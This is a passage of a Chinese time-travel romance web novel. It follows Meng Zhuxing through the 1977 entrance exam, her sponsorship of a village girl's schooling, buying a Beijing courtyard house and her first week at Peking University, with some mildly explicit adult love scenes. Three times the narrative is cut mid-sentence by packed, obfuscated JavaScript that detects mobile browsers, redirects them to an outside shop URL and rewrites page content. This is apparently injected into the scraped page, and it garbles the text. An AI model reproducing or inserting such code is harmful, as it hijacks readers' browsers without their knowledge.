石头却很不用心,不是溜号就是在低头抠自己的手指头,让背的书、做的题,一样都没完成。 半天下来,花儿学了不少东西,石头结实地补了一大觉。 孟逐星也不说什么,教两人一样的东西,结果怎么样就看个人的造化了。 李婶儿也不让她白忙活,期间不是给她送饭菜就是送水果鸡蛋,孟逐星笑着收下拿到课堂上,被石头给吃了大半。 “这熊孩子!”虽然嘴上这样教训着,但李婶儿的眼睛里却满是纵容的笑。 花儿在一旁眼巴巴地看着,孟逐星心里很不是滋味儿,递给她一个大苹果,“吃吧。” 花儿先看了眼妈妈,见她没说什么,这才感激地对孟逐星笑了笑,“谢谢孟老师。” 零星而遥远的记忆蓦地浮现在脑海,孟逐星透过花儿,看到了小时候的自己。 同样的姐弟家庭,同样重男轻女的父母,隔了二十多年却也似乎没什么两样。 她眨去眼中的雾气,释怀一笑——就让他们都滚蛋吧!重要的是,她现在可以把握自己的命运,还可以力所能及地帮助其他女孩。 一个月后,天寒地冻,乌泱泱的人群来到了高考的考场上。 孟逐星、陆宗青和宋、周、谢三人报考了理工科,陆思甜报了文科。 陆宗青考虑周到,怕两人在考场坐得太久浑身僵住,给孟逐星和陆思甜都准备了厚厚的军大衣、围巾和雷锋帽,人虽然显得臃肿,但确实特别暖和,怕冷星人孟逐星直到交卷都觉得手脚暖烘烘的。 从考场出来后,孟逐星一脸淡定,陆思甜眉头微皱,“姐,有两题我不会做……” “嗐,你不会别人也不会,都考完了就放宽心吧!” 两人和陆宗青、李少阳、周阳汇合,去牵自行车时,又遇见了宋若楠、谢慧敏和周蒙,一行人骑着车浩浩荡荡地往农场赶。 路上谈及试卷难易,除了李少阳脸拉得老长,其余几人都眉眼含笑。 李少阳很气:“合着你们都背着我偷偷搞学习!” 陆宗青笑:“我们也没瞒着你,你之前不是还总说我‘就知道看书’吗?你自己爱出去玩怪谁?” 李少阳:“……” 不过他也并不是很在意,以他家的条件,把他弄进北京的某个大学还是很容易的。 他也没那么高的志气,就瞎混呗。 几人回到农场,孟逐星提议去她家涮火锅,“家里肉、菜都有,洗洗切切就可以下锅,热腾腾地吃着还暖和。” 李少阳第一个举手赞成,“快点儿的吧,我都要饿死了。” 周蒙说:“那我们一块儿弄,人多力量大。” 于是男同志们负责劈柴烧火,女同志们则择菜、洗菜、切肉,不一会儿大圆桌上便摆满了菜。 这桌子有点门道,是之前被陆宗青改造过的——中心镂空,可以支起一口锅,锅后面还有个用来排烟的铁皮烟囱,高高细细的直伸到窗外,下面有个小灶,可以往里面添柴。 “这样,咱们就可以边烧火边往里面加菜啦!”——发明者孟逐星如是说。 孟逐星问:“你们能不能吃辣?” 众人都点头,于是她从橱柜里取出一只搪瓷缸子,里面装着用羊油、辣椒粉和芝麻做的辣椒油,已然凝结成块,看着红中泛白,她挖了两大勺放进锅中,不一会儿便溢出浓郁的香辣味儿。 李少阳提议:“反正明儿还有一天假,不如咱们喝点小酒庆祝庆祝?” 陆宗青看了看几位女同志,见她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732945|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也都同意,就去拿了两瓶白酒过来。橱柜里有不少酒,都是孟逐星之前去商店买的,每瓶还不便宜。 虽然两人都不怎么喝,但见她高兴,陆宗青便无条件支持。 杯子里倒了酒,众人举杯道:“希望大家都能考上心仪的大学!” 酒足饭饱,外面又飘起了雪花,众人各自回去。 陆宗青收拾完碗筷桌椅,见孟逐星脸颊发红躺在炕上,杏眼一片朦胧,他不禁失笑,这才喝了多点儿,就醉成这个样子。 他打了热水浸湿毛巾,给她洗脸擦手洗脚,全程她都无比配合,叫干嘛干嘛,陆宗青起了逗弄的心思,“星星,亲一下我。” 孟逐星仰起头,吧唧一口亲在了他的脸上,乌黑莹润的眸子直盯着他,满眼写着“我这么听话你快夸夸我呀”,看得陆宗青心尖发软,他快速收拾完自己,将她裹进了被子里。 炕上暖烘烘的,棉花被子很厚压在身上微沉,昏暗的煤油灯下,陆宗青低头亲了亲她泛着红晕的脸颊,低声问:“星星喝醉了吗?” “没……有。”孟逐星否认地很干脆,可语调却拉得有点长,陆宗青忍不住唇角弯起,继续道:“是么?我怎么觉得你醉了?” “才、才没有!”孟逐星杏眸含雾,满脸不服气,“不信的话,你来考我数学题。” 陆宗青轻笑:“我不考你数学,问你几个问题你要是都能答上来的话,我才信你。” “你、尽管问。” “星星喜欢我么?” “当然喜欢啊!”孟逐星疑惑地摸了摸他的额头,“你……没发烧?” 怎么还说起胡话来啦? 陆宗青捉住她的手指亲了亲,又问:“那你喜欢我哪里?” 孟逐星“唔”了一声,眨了眨眼:“喜欢、长得帅、身材好,对我特别体贴关心、床上也……”她蓦地顿住。 陆宗青心口一跳,“也怎样?” 孟逐星捂嘴偷笑,眉眼弯弯地看着他,“也特别合得来呀!” 陆宗青怔了怔,旋即笑开,生出些许胡茬的下巴蹭了蹭她的鼻尖,听她发出含混不清的抗议声,他心里十分满足,薄唇落在她的唇瓣上,将她的碎碎念给吞了下去。 醉酒的孟逐星不仅格外听话,身子也比平时更加绵软,没骨头一样被陆宗青拢在怀里,翻了个身后,她手指无意识地摩挲着他的胸膛。 在放松状态下,胸肌是软的,她手指包不过来,脑海中突然闪过一句——好男人不包二奶。 孟逐星醉眼朦胧,吃吃笑着,捏住两粒乳首,“改天我送你一个背心。” “……嗯?” “要开口到这里的,”她手指比划到他侧腰,“要露出这里。” 说着,她毫不客气地捏了捏陆宗青的胸肌。 人都有自己的癖好。 陆宗青喜欢亲她的耳朵,揉捏她的手指,孟逐星则对他的胸肌腹肌人鱼线更感兴趣。 他的肌肉分明却不夸张,薄肌漂亮而利落,穿衣服时还显得有几分偏瘦,光着时就很吸人眼球。 至少把孟逐星给迷得五迷三道爱不释手。 陆宗青喜欢仰视着她,像现在这样,他视力极好,昏暗灯光下也可以清晰地看到她潮红面颊上的细小绒毛,她口唇微张,细密的汗水洇湿了她乌黑的鬓发。 他在这一瞬间真切地体会到什么叫“活色生香”。 孟逐星不爱运动,此时又醉意熏然,自然更没有多少体力,她觉得舒服了,便耍赖地往后躲,想翻身去睡觉,却被腰间的大手给按住。 “你在上面睡。” “?” 听听这叫什么话,谁家好人能这样睡着啊……再说她也没困到这个地步。 于是开始了“她挣扎,他不让”的戏码。 事实证明,跟陆宗青比体力和耐力就是以卵击石,很快孟逐星就满眼泪花地攀着他的肩,防止自己飞出去。 不知道过了多久,她迷迷糊糊睡着时,感觉到陆宗青亲了亲她的额头,然后下了炕,之后身上一暖,他在给她擦拭清理。 孟逐星意识不清地摸了摸他的头,“好乖……” 陆宗青笑了笑,给她掖好了被角。 30. 第 30 章 考完试第二天,孟逐星遇到了李婶儿,她脸色不太好看,孟逐星赶忙问怎么回事。 李婶儿长叹一声:“还不是石头那熊孩子,昨天考试在考场上睡着了!卷子都没写完,这还能考上啥大学啊!” “啊,考场上那么冷他也能睡着啊?” “我不是担心他冷,给他特地准备了贼厚的棉袄棉鞋啥的,没想到这家伙直接给我干睡着了!”李婶儿捂着胸口,满脸痛心。 孟逐星忙问:“花儿考得怎么样?” “嗐,那丫头回来也没说啥,今天一大早又去山里捡柴了,估计也没戏。” “婶子,要是花儿考上了,您会让她去上学吗?” 李婶儿愣了一下,眼神闪烁,“到时候、再看吧,星儿你也知道,婶子家里并不富裕,眼瞧着石头上不了大学了,婶子不得考虑给他娶个媳妇儿成家了?三转一响和彩礼都要不少钱……” 孟逐星听懂了她的意思,笑了笑说:“婶儿,我挺喜欢花儿这孩子的,要是她考上了,我来资助她上学,您就同意她去,成吗?” “你来出钱?”李婶儿瞪大眼,不太相信,“星儿,你可别跟婶子说笑。” “我是认真的婶儿,您想要是花儿真成了一个大学生,以后毕业分配工作了,可不得好好孝敬您和叔?” 见她眉眼有些松动,孟逐星继续道:“这可比您现在给她找个寻常婆家强百倍,您目光要放长远些,以后花儿有出息了,不也会帮衬哥哥和嫂子么?” 李婶儿眼神一亮,拍了下大腿,“还是你们年轻人脑子好使!幸亏有你提醒,要不然我还真准备……不成,我这就去找孙媒婆,明天不用来相亲了。” “……” 孟逐星目送她离开,无奈地叹了口气,这年代不知道有多少女孩子明明很聪明很优秀,却因为不是个男的,就早早地被安排嫁人、生子,一辈子围着家里的爷们儿孩子转。 时间久了,连她们自己也开始维护起夫家的利益,苛待自己的女儿或者入门的儿媳,如同她们的父母对她们一般,陷入命运的又一次循环。 她人微力薄,目前所能做的也只是出点钱而已,以后……孟逐星眸光缓缓变得坚定,她一定要努力帮助更多的女孩子! 之后是体检、政审、填报志愿。 考试结果还没出来,趁着天好,孟逐星给马小兰写了信,又给她买了些榛子,一道邮了过去。 之前小兰提过,她喜欢吃这边的榛子,直夸都快把她给香迷糊了。 因此每到季节了,写信给她时,孟逐星都会给她寄一些。 虽然花了不少邮费,但是挣钱不就是为了花的嘛,能让自己的好朋友高兴就值得。 前阵子得知恢复高考的消息时,马小兰就写信过来,字里行间都是对她的夸奖与难以置信,“……要不是我从小跟你一块儿长大,我都怀疑你是神马子能通灵了!” 孟逐星笑着打岔,在信中叮嘱她一定要好好复习,争取以后在北京一起上大学。 马小兰是个仗义的好朋友,更是个听话的好宝宝,这两年也一直没落下学习,也因此在准备高考时没那么慌乱,考试发挥得也很稳定。 王婶儿知道这都是因为有孟逐星隔三差五地写信叮嘱,要不然这孩子早就野得不像样了,在之后的来信中对她大加赞扬和感谢,又邮来了很多家乡土特产,东西不值多少钱,可邮费让人肉疼啊,弄得孟逐星感动之余又替他们心疼钱。 “怎么说这也是他们的心意,”陆宗青温声安慰,“你要是觉得过意不去,下次写信给他们寄点钱就是了。” 孟逐星依偎进他怀里,脑海中闪过刚穿到这个世界的情景,“要不是有小兰他们帮我,我可能早就活不下去了……” 陆宗青却以为她在说她幼年的事,摩挲着她颈后的软肉安抚道:“嗯,王婶儿一家也算是你的娘家人了,要不今年过年我们回去一趟?” 想到回去的漫长火车,再加上山村里湿冷的天气,孟逐星摇了摇头,“还是等天暖和后再说吧。” 两人洗漱完上了炕,温存了一会儿,陆宗青突然问:“咱俩以后去了北京大上学,是不是就得住校了?” “嗯呢。”上大学住宿舍不是很正常吗? “那我们就不能一起睡了。” 孟逐星转头看他,见他眼中满是失落,不禁有点好笑:“之前你也一个人睡的呀,这才跟我睡了多久就离不开了?” “以前怎么能跟现在比。”陆宗青声音微闷,脸埋进她胸口,薄唇贴上白皙细嫩的肌肤,“有句话不是说‘由俭入奢易,由奢入俭难’,我怎么能习惯。” “唔,北京冬天也很冷的,到时候也没人给我暖手暖脚、抱着我睡了呀。” “所以,我在想要不我们就在北京找个地儿落脚?哪怕小一点挤一点都没关系,我想每天都能抱着你。”陆宗青低声呢喃,如梦呓般,目光却灼热地盯着孟逐星。 “到时候我们再商量好不好?”孟逐星抚摸他有些扎手的头发,“毕竟北京很大的呀,如果咱俩的学校离得很远,住外面就很不方便了……” 陆宗青忽然抬头,“你之前去过北京吗?” 孟逐星一愣,连忙否定:“没,怎么可能,我就是之前听莉莉说过一嘴而已。” “即使不能住一起,那我也要在北京找个住处,放假的时候咱们好歹能一起。” “诶?宗青哥哥就这么粘我呀?” 孟逐星调戏道,本以为他不会回答,陆宗青却一脸认真地颔首,“如果可以,我一分钟都不想和你分开。” “这怎么行呀?你也太贪心了。”他长了薄茧的指尖摩挲在她孚乚下,孟逐星被摸得发痒,忍不住笑着躲,却被他追着亲。 某种程度上来说,陆宗青是个颇为强势的人,在某些时候会迸发出强悍而迫人的气息,但对孟逐星而言却很受用。 咳,也许她喜欢这种半强制? 不过陆宗青的底色还是温柔,哪怕他再情绪再偾张,还是会以孟逐星的感受为先。 就特别理智,以至于让孟逐星很是好奇——如果陆宗青失控了,会是什么样子? 但她也不敢贸然挑衅……毕竟只是日常的运动就让她有些吃不消,要是再把人惹急眼了,吃苦受累的还是她。 ** 新年前夕,农场里参加高考的年轻人、中年人陆续收到了录取通知书。 自然也有很多人落榜,有人欢喜有人愁。 孟逐星、陆思甜和陆宗青都收到了来自北京的录取通知书,两姑娘的学校是同一所,在圆明园附近,后世被戏称为“圆明园职业技术学院”,陆宗青则是被陆军装甲兵学院录取。 他收到通知书后的第一件事,就是摸出北京市地图,估算了一下两个学校的距离,得知大概要骑车2个小时后,陆宗青松了一口气。 “也没有多远。” 陆思甜一脸疑惑,“姐,我哥他怎么了?” 孟逐星眉眼弯弯,“他有开学焦虑症。” “啊?还有这病啊?严不严重?要不要找慧敏姐她们看看?” …… 医院里的三个女孩也都收到了通知书,大家还是继续学医深造,不同的是宋若楠去了北京,谢慧敏去了上海,周蒙则去离得最近的沈阳。 得知不久后就要天海南北的分开,三人都有些伤感,却也约定:以后一定常联系,有机会的话就在毕业后齐聚北京。 那可是首都啊,无数人向往的地方。 李少阳则考得不怎么样,不过他也不是很在乎,他舅舅很快就要把他调回去了,家里虽然元气大伤但底子和人脉还在,把他安排进个大学不是什么难事儿。 但是一想到要跟这里的战友告别,他还是鼻子一酸,尤其是看到大家都有了新的人生目标,就他好像还浑浑噩噩地停留在原地,李少阳就有种没来由的惶恐不安。 晚上大伙儿聚餐的时候,他喝了不少酒,醉眼朦胧地把这想法跟陆宗青说了,“……宗子,你说我是不是很没用?二十多岁的人了,却连自己想要什么、想做什么都不知道。” 陆宗青说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733695|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不是没用,而是没家里人保护得太好,没吃过苦没受过罪,自然不会想太多。” 李少阳大着舌头问:“所以我要再继续上山下乡、继续接受改造?□□都结束了,小爷也要、回到该回的地方去。” 陆宗青见他喝多了,将他送回了宿舍。 替他掖好被子后,李少阳忽然睁开眼睛,怔怔地看着他:“宗子,我真的很没用。” 家里出事的时候,他被名为历练实为保护地送到这里来,在军营里待了几年,人变高变壮了,可在家人受苦时,却没能提供半点支持与帮助。 甚至,都没有站在他们身边。 他眼眶泛起红,喃喃道:“听舅舅说,我爸的头发都白了,我妈也得了风湿……” 陆宗青听得心里发涩,拍了拍他的手,“等你回去了再好好孝顺他们也不迟。” 李少阳脊背微弓,抬手遮住脸,“嗯。” …… 回家后,陆宗青跟孟逐星说起此事,“别看少阳平时总是嘻嘻哈哈没个正行,心里也是藏了不少事儿。” “怎么说也是家里突逢巨变,不可能无动于衷的……只是退一步说,他比很多人幸运许多了。” 时代的一粒沙落在普通人身上就是一座山,多的是比他还惨的人。 “这倒也是,大家都不容易。” 两人熄灯睡下。 次日,孟逐星去了趟李婶儿家,得知花儿也收到了通知书,她比谁都高兴,可孙家的氛围却不太对。 花儿姓孙,大名孙佳。 原因自然是最不受重视的女儿考上了省里的师范学院,最宝贝的儿子却啥也没有,说亲也不太顺利——石头长得不高,嘴又馋,胖墩墩的委实不太好看。 两件事撞一起,孙家父母怎么也高兴不起来。 李婶儿小心地提到孟逐星赞助花儿上学的事,见她没有赖账,和孙爸的脸色这才好看了些。 孟逐星对她的弯弯绕绕了然于胸,却并不戳穿,只是把花儿单独叫了出来,对她说了些话,叮嘱她收好通知书,好好准备年后开学的事。 “星姐姐,我太感激你了!”孙佳眼泛泪花,“以后我一定会好好报答你的!” “我帮你可不是为了你的回报呀,我是希望你能过上更好的生活,你值得拥有更好的人生!” 孙佳面露迷茫,“我、我真的可以吗?” “肯定可以的!你聪明又努力,只要敢于尝试,什么都是有可能的!”孟逐星拍了拍她的头,“年后我要去北京上学,等下我把学校地址写给你,你到学校安顿好之后写信告诉我地址,之后你的学费和生活费我都会直接邮给你。” 她顿了顿,瞥了眼堂屋里的三人,小声说:“你的通知书一定要藏严实了,别被人给破坏偷走了……学费我在你快开学的时候再给你送来。” 倒不是她小人之心,毕竟这个年代通讯不发达,确实发生过多起偷人通知书冒名顶替上学的事,谨慎一点总是好的,尤其是花儿这种家庭,谁也保不准这偏心父母会为了儿子做出什么过分的事来。 孙佳点了点头,“我知道的星姐姐。” 交代完花儿的事,孟逐星松了口气,在农场里转了一圈,打听到不少人都考上了大学,这会儿的大学生甚至是大专生都很金贵,许多农村出身的人抓住了这次逆天改命的机会。 1978年2月10日,孟逐星、陆宗青和陆思甜坐火车来到了北京。 学校还没开学,三人拿着介绍信找了招待所住下,陆宗青买了辆二手自行车,载着孟逐星在皇城里找起房子来。 两人目标明确,在北大和陆军装甲兵学院之间找个落脚地儿,他们手头宽裕,看的房子也比较大,甚至还看了不少四合院。 很快,孟逐星相中了一座四合院,房子是一进的,位置好门口就有个公交站牌,宽敞明亮,虽然挺破旧的,但好好收拾修整一番一定特别好。 “要不就它吧?” “成,我去找房主谈租金的事。” “不,我想把它买下来。” 31. 第 31 章 陆宗青愣住,“买?这房子这么破,但价格估计也要两三千块钱……” “咱的钱不够吗?” “够是够……只是为啥要买房子?”陆宗青有些不理解,“咱们还要上学,毕业了单位都会分房子,花这个冤枉钱干啥?” 后来北京的房价飚成什么样儿,孟逐星无法跟他直说,只得道:“宗青哥哥,咱们账户里的钱是你我和思甜辛苦挣的,我自然不会瞎折腾,这房子买了肯定错不了,你信不信我?” 陆宗青沉默须臾,“好,听你的。” 孟逐星喜笑颜开:“放心吧,我还有其他赚钱的门路,不会饿着你的。” 陆宗青也笑开,去找房主谈买房的事。 因为四合院里目前住了四户人家,房主先跟他们谈妥搬家的事,又跟陆宗青磨了几天价格,等最终拍板到房管局过户办完手续时,已经是北大开学的前一天。 当晚,三人搬进了四合院。 院里的柿子树光秃秃的,显得格外清冷寂寥,屋里也没什么家具布置,整体颇为破旧,屋顶有的地方还有瓦片修补的痕迹,可孟逐星嘴角的笑就没下来过。 陆思甜很是不解,小声问她哥:“星姐姐她真的没被什么给附身吗?” 要不然怎么会来北京没几天,咔一下子就买了个四合院? 整整花了两千五百九十九块钱啊!! 就这么个四处漏风的破房子居然敢卖这么贵?! 陆思甜内心在咆哮,虽然这房子有她的份儿,但这钱也有她辛辛苦苦养鸡养鸭养猪崽赚来的那一份啊…… “我清醒得很!”孟逐星喜滋滋地巡视着“新房”,“你们就等着瞧,以后就知道我的决定有多么的明智了!” 陆宗青对她宠溺一笑,“嗯,星星是最厉害最聪明的。” 孟逐星傲娇抬头:“那是当然。” 幸好三人来北京时带了大包小包,被褥衣物锅碗瓢盆能带的都带了,摊开来就能直接用上。 当晚三人吃饭洗漱铺床睡觉,第二天一早,陆宗青在附近的早点铺子买了热腾腾的豆浆油条。 吃完饭,陆宗青背着包骑车去了学院报到,孟逐星和陆思甜满脸兴奋地背上包排队挤上了门口的公交车。 公交车直达北大,半个多小时后,两人在西校门下了车。 看着近在咫尺的“北京大学”的牌匾,孟逐星激动不已—— 小时候苦恼于上北大还是上清华,如今她竟然真的站在了北大的门口。 历史系和经济系不在一边,穿过西门的华表,孟逐星和陆思甜跟着前来引导的学长学姐们前往各自的学院报到。 交了党团组织关系、迁移户口和粮油关系、缴纳书籍讲义费、买了饭菜票,一通忙下来后,两人都累得不轻。 2月份的北京还很冷,风沙吹得人脸发疼,学校又特别大,从教学楼走到燕南园的宿舍,孟逐星的腿都有点发软了,买辆自行车需要紧急提上日程。 她宿舍号是221,六人间,上下铺,没有衣柜,只有四张小书桌,空间很狭窄逼仄,但窗子外面有一棵海棠树,春天时应该会很漂亮,推开窗可以远眺博雅塔和未名湖。 孟逐星进来时,宿舍里已经有了两个人,不约而同地抬头看过来。 她跟她们笑着打了招呼,自我介绍:“你们好,我叫孟逐星。” 梳着齐肩短发的姑娘叫陈金麦,扎着麻花辫的、年龄看起来比她们大几岁的叫李红霞。 两人笑着简单介绍了自己,陈金麦问:“你多大了呀?我刚刚还在跟红霞姐论资排辈呢。” “我21了,你呢?” “我20,红霞姐27了。” 孟逐星对李红霞比了个大拇指,“真厉害!” 李红霞腼腆地笑了笑,说话有点口音:“没办法,笨鸟先飞,以后还请你们多多帮助我。” 孟逐星连忙摆手:“哪里的话,大家一起学习进步才对!” 说话间,陈、李两人已经帮她铺起了床铺,孟逐星来得早,就选了靠窗户的下铺,收拾东西的间隙三人聊了会儿天,这才知道大伙儿都曾上山下乡,对于广袤农村与乡间生活有很多共同语言,瞬间便感觉亲近起来。 不多时,宿舍里的另外三个人也陆续来报到了,分别是胡琼、何玉静和徐岚,本就不大的宿舍瞬间显得拥挤起来。 六人中年级最小的是十九岁的胡琼,最大的李红霞,依着年龄排了顺序,最后来的徐岚还在收拾东西,孟逐星拎着她的暖壶则和其他人一块儿去水房打水了。 打完水,她们还顺道去了食堂买了点吃的,这会儿的食堂也没太多选择,不外乎馒头、咸菜、稀饭,大伙儿都拿着搪瓷饭碗排队打饭,好多人吃饭的时候也不忘看书。 孟逐星见状,忍不住小声嘀咕:“妈耶,这也太卷了吧……” 陈金麦没听清,“什么?有花卷儿?在哪儿呢?!” 胡琼笑出了声,“这下我们都知道你喜欢吃花卷儿了。” “花卷儿多好吃呀!特别是裹了一层辣油的,别提有多香了!” 提到吃,陈金麦两只圆溜溜的眼睛都眯了起来,感慨道:“之前下乡时,有个邻居奶奶就做了一手好面食,花卷儿、油条、大麻花……个个都顶好吃!就是可惜白面难得,只有逢年过节的时候能过过嘴瘾。” 李红霞笑道:“我也会做一些,改天有机会我给你们做点儿尝尝。” 胡琼说:“可以去我家,离学校不算远,厨房虽然不大但是做个花卷儿还是可以的。” “好呀好呀!”陈金麦特别高兴,“真羡慕你离家这么近,什么时候想回就回了。” “即使离得近,我也不能天天往家跑啊,”陈金麦努嘴指了指那几个边吃饭边看书的人,“要不你回家玩去了,别的同学都在认真学习,这时间一久不就被落下了。” 何玉静点头道:“大家能考进来说明本身能力就差不多,不认真努力真的很容易被甩开呢!” 一顿饭吃得几人满面愁容,考上大学的喜悦也淡了几分。 回到宿舍后,几人洗漱完就各自上了床,倚在床头看起书来。 孟逐星心里很没底,胡乱翻看着陆宗青帮她淘来的经济杂志和报纸,好在她是个穿越人士,对中国之后几年的发展方向了解的比较清楚,但落实到具体的上课考试上她就不太熟悉了,不用功肯定不行。 于是接下来几天孟逐星都极为认真地跟着舍友一块儿上课学习,虽然刚开学,但课程安排得满满的,师生们明白过去浪费了太多时间,争分夺秒地传授知识、汲取知识。 这期间孟逐星在食堂遇到了两回陆思甜,她看着也很忙碌,两人简单说了几句话,她急匆匆地吃完饭,就抱着厚厚的书去了自习室。 她学考古的,自然有很多大部头要慢慢啃…… 兵荒马乱的一周过去后,在周六这天中午,孟逐星和陆思甜才一道抽空回了趟四合院。 院子明显被收拾过,整洁干净许多,院子里的晾衣绳上正晒着被单、枕巾。 田螺公子·陆宗青从厨房走了出来,见两人都清减不少,眼中闪过一抹心疼,“怎么都瘦了?是上课太忙,还是学校食堂太不好?先来洗手,马上就可以开饭了。” “我每天晚上都回来看看,一直没见到你们,想着今儿周末了,你们应该会回来了,就买了点菜和肉,给你们做顿好吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742384|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 说话间,孟逐星和陆思甜洗完了手坐在饭桌边,见陆宗青端出了红烧鲤鱼、溜肉段、醋溜白菜和一大海碗的西红柿蛋花汤,主食是香喷喷的白米饭。 两人的眼睛瞬间就直了,端起碗就开始干饭。 陆宗青见状更是心疼,在一旁给两人把鱼肉里的刺给剔出来,方便她们吃。 在吃得半饱后,孟逐星才把自己这一周在忙啥给他们说了,“……真是太可怕了,一个比一个用功,这才开学一周,我们宿舍人的床上都堆满了书和报纸。” “床上算啥呀,我们宿舍楼厕所里都有人在讨论老师教的知识点。”陆思甜喝了半碗汤,打了个小饱嗝儿,“这热爱学习的氛围真是……太让人感动了。” 陆宗青笑道:“我们学校也是,大伙儿都很勤奋,前几天我也是回来看一眼又回学校了。” 孟逐星有点心疼他,“最近还挺冷的,你这样来回跑不嫌累啊?” “不累,骑车很快的。” 三人吃完饭,孟逐星要收碗筷被陆宗青按住,“厨房暖瓶里有烧好的水,你去洗漱上床睡个午觉吧。” “哥有我的份儿吗?”陆思甜眼巴巴地问。 陆宗青轻嗔:“什么时候落下你了?在你那屋给你放好了。” “嘿嘿,我就知道哥是个大好人。”陆思甜很有眼力见儿地溜回了自己屋。 虽然只是五天没见面,但对孟逐星和陆宗青来说已然算很久。 正是小别胜新婚,陆宗青火速刷完碗筷,就着媳妇儿洗漱的热水洗了,大白天的就关上了房门。 孟逐星除去厚重的外衣,穿着贴身长袖长裤掀起了被子,本以为会比较凉,没想到里面热烘烘的。 “我提前放了几个热水瓶子,就怕冷着你。”陆宗青赤着上身,游鱼般贴住她的身子滑进了被窝,“觉得如何?” “唔,你准备这么充分,万一我们没回来呢?” 陆宗青低头亲她的后颈,“那也没关系,这些又不费事。” 他下巴生了一层胡茬,硬硬刺刺的触在肌肤上,孟逐星痒得笑着要躲,却被他钳住腰肢吻得更用力。 “别,不是说要午睡么?” “你很困?” “……没有。” “那就过一会儿再睡。” 好几天没有亲热,孟逐星本以为自己会有点儿不适应,身体的本能反应却出卖了她。 他有多急切,她的身体就有多热情。 ……她忍不住出了声,惊慌地看了眼门,也不知道这隔音效果怎么样…… 陆宗青目光灼热地看了她一眼,俯身堵住了她的唇,薄唇辗转描摹,他低声说:“忍不住的话就咬我。” “什、么……” 她的疑问瞬间变得破碎,不得不紧紧攀着他,直到她浑身是汗,眼尾面颊都泛着绯色,才被他紧抱在怀里。 “黏答答的不舒服,想洗澡。” 陆宗青低声安抚,“外面冷不能晾汗,我待会儿给你擦。” “……只能擦,不能再干别的。” “……好。”陆宗青应下。 孟逐星这才沉沉睡去。 她这几天在学校都没睡好觉,一是换了新的环境,六个人住一个屋,大家的习惯各有不同,需要磨合适应;二则是因为她的特异功能。 之前和陆宗青睡一起时,每晚她都习惯了被他……咳,如此她才不会觉得涨,这几天冷不丁没了这一步,久违的涨感又回来了。 陆宗青想来也知道,所以刚才才会一直……迷迷糊糊睡着之际,孟逐星还是下意识地捂住了胸口。 某人有多体贴就有多贪心,她是知道的。 32. 第 32 章 睡一觉之后,孟逐星就拉着陆宗青去了趟旧货市场,买了辆二手自行车。 简单收拾后,她就骑车带着陆思甜去了医科大学找宋若楠。 在门卫处报了系和姓名,十几分钟后宋若楠就气喘吁吁地跑了出来,“行啊你们,刚来北京才多久啊就连自行车都混上了。” 孟逐星摆摆手,“这都是小意思。” 陆思甜小声嘀咕:“你要是见着那破房子不得更惊讶……” “你们来找我玩啊?”宋若楠抓了抓有点乱的短发,“走啊我带你们去学校里转转。” “先不转了,我是想着趁今天休息,去看看莉莉,之前她走的时候可是千叮咛万嘱咐,要我们来北京后一定要找她。” “成,那等我一下,我去借辆自行车。”宋若楠飞速跑了回去,不一会儿就骑了辆破自行车出来。 孟逐星忍不住笑:“你同学这车服役几年了啊,瞧着都长白胡子了。” “嗐,车轱辘能正穿转就成。” 三人依着莫莉莉之前给的地址,骑车晃了过去,途经一个供销社时,停下来买了点水果罐头。 怎么说也是头一回登门,总不能空着手不是。 在胡同里左拐右绕,又问了两个大妈后,她们才找到地方。 开门的是一个模样周正的青年,略显苍白瘦弱,听她们说罢来意后,连忙将她们请了进去。 “我是莉莉她哥哥莫钦,之前就常常听她说起你们,一直盼着你们考来北京呢!” 莫钦笑道:“前两天她还一直嘀咕,北京的好多大学都开学了,怎么也一直没见到你们中有谁来找她。” 孟逐星笑道:“我们这几天不是刚开学嘛,太忙了,今儿才腾出空儿来找莉莉。” 宋若楠将网兜递了过去,“一点小礼物不成敬意,还请莫大哥收下。” 她嗓音本就骗中性,瘦瘦高高留着短发,又长得特别英气,看得莫钦愣了一下,迟了半拍才道:“使不得使不得!你们都是莉莉的好朋友,来看她她就很高兴了,还破费买这些干什么。” 宋若楠径直将网兜放在了地上,一抬头就见莫莉莉如小炮仗一样冲了出来,歘地一下将她们三人抱在怀里。 陆思甜毫无防备,被她撞到了鼻梁,忍不住低声呼痛,莫莉莉赶忙道歉安抚。 莫钦见状,笑着摇了摇头,拿了钱包转身出了门。 四个姑娘好久不见,有一箩筐的话要说,说得口干舌燥时,莫莉莉才想起来还没给她们倒茶,赶忙拎起暖壶拿了杯子泡了茶。 孟逐星笑:“都是自己人不用客气。” 